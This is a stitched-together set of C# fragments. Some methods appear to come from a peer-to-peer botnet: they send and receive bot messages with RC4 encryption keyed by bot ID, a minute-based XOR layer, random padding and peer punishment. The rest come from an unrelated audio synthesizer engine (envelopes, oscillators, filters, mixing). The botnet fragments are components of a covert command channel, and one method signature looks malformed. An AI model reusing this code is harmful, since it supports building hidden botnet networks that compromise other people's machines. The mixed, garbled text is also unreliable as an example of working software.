private void PackageReceivedEventArgs(object sender, PackageReceivedEventArgs <IPEndPoint> e) { var data = e.Payload; var now = new TimeSpan(DateTime.UtcNow.Ticks); var minutes = now.TotalMilliseconds / (1000 * 60); var xor = new Mod2(BitConverter.GetBytes(minutes)); xor.Decrypt(data); var rc4 = new Rc4(_botId.ToByteArray()); rc4.Decrypt(data); var botHeader = BotHeader.Decode(data); if (!IsValidHeader(botHeader)) { _peerList.Punish(botHeader.BotId); return; } botHeader.EndPoint = e.Proto; _peerList.UpdatePeer(botHeader.BotId); Events.Raise(BotPackageReceivedEventArgs, this, new PackageReceivedEventArgs <BotHeader>(botHeader, data)); }
public void ResetEnvelopes() { AmpEnv.Reset(); Filter1Env.Reset(); Filter2Env.Reset(); Mod1.Reset(); Mod2.Reset(); Mod3.Reset(); Mod4.Reset(); Mod5.Reset(); Mod6.Reset(); }
void SetGate(bool gate) { MidiInput.Gate = gate; AmpEnv.Gate = gate; Filter1Env.Gate = gate; Filter2Env.Gate = gate; Mod1.SetGate(gate); Mod2.SetGate(gate); Mod3.SetGate(gate); Mod4.SetGate(gate); Mod5.SetGate(gate); Mod6.SetGate(gate); }
public void Send(short messageId, ulong correlationId, short ttl, byte[] payload, BotIdentifier botId) { if (!_peerList.IsRegisteredBot(botId)) { return; } var padding = RandomUtils.NextPadding(); var header = new BotHeader { CorrelationId = correlationId == 0 ? RandomUtils.NextCorrelationId() : correlationId, BotId = botId, MessageId = messageId, PayloadSize = (short)payload.Length, Padding = (short)padding.Length, Ttl = ttl == 0 ? RandomUtils.NextTtl() : ttl }; var message = BufferUtils.Concat(header.Encode(), padding); var rc4 = new Rc4(botId.ToByteArray()); rc4.Encrypt(message); var now = new TimeSpan(DateTime.UtcNow.Ticks); var minutes = now.TotalMilliseconds / (1000 * 60); var xor = new Mod2(BitConverter.GetBytes(minutes)); xor.Decrypt(message); var endPoint = _peerList[botId]; Logger.Verbose(3, "{0}@{1} {2}", header.BotId, endPoint, header.CorrelationId); _comunicationManager.Send(endPoint, message); if (correlationId == 0) { _waitingForReply.Add(new Package(endPoint, message), correlationId); } }
public void Process(int length) { lock (lockObject) { if (OutputBuffer[0].Length < length) { OutputBuffer[0] = new double[2 * length]; OutputBuffer[1] = new double[2 * length]; } for (int i = 0; i < length; i += bufsize) { var f1Env = ModMatrix.Filter1EnvMod; var f2Env = ModMatrix.Filter2EnvMod; for (int n = 0; n < bufsize; n++) { ampEnvBuffer[n] = AmpEnv.Process(1); filter1EnvBuffer[n] = Filter1Env.Process(1) * f1Env; filter2EnvBuffer[n] = Filter2Env.Process(1) * f2Env; } // Process modulation Mod1.Process(bufsize); Mod2.Process(bufsize); Mod3.Process(bufsize); Mod4.Process(bufsize); Mod5.Process(bufsize); Mod6.Process(bufsize); ModMatrix.Process(); Osc1.Process(bufsize); Osc2.Process(bufsize); Osc3.Process(bufsize); Osc4.Process(bufsize); for (int n = 0; n < bufsize; n++) { path1Buffer[n] = Osc1.OutputBuffer[n] * Mixer.Osc1Vol * (1.0 - Mixer.Osc1Mix) + Osc2.OutputBuffer[n] * Mixer.Osc2Vol * (1.0 - Mixer.Osc2Mix) + Osc3.OutputBuffer[n] * Mixer.Osc3Vol * (1.0 - Mixer.Osc3Mix) + Osc4.OutputBuffer[n] * Mixer.Osc4Vol * (1.0 - Mixer.Osc4Mix); path2Buffer[n] = Osc1.OutputBuffer[n] * Mixer.Osc1Vol * Mixer.Osc1Mix + Osc2.OutputBuffer[n] * Mixer.Osc2Vol * Mixer.Osc2Mix + Osc3.OutputBuffer[n] * Mixer.Osc3Vol * Mixer.Osc3Mix + Osc4.OutputBuffer[n] * Mixer.Osc4Vol * Mixer.Osc4Mix; } path1Buffer = Ins1.Process(path1Buffer); path2Buffer = Ins2.Process(path2Buffer); Filter1.Process(path1Buffer, filter1EnvBuffer); Filter2.Process(path2Buffer, filter2EnvBuffer); for (int n = 0; n < bufsize; n++) { processBuffer[n] = Filter1.OutputBuffer[n] * Mixer.F1Vol + Filter2.OutputBuffer[n] * Mixer.F2Vol; processBuffer[n] *= Mixer.OutputVolume * ampEnvBuffer[n]; OutputBuffer[0][i + n] = processBuffer[n]; OutputBuffer[1][i + n] = processBuffer[n]; } } } }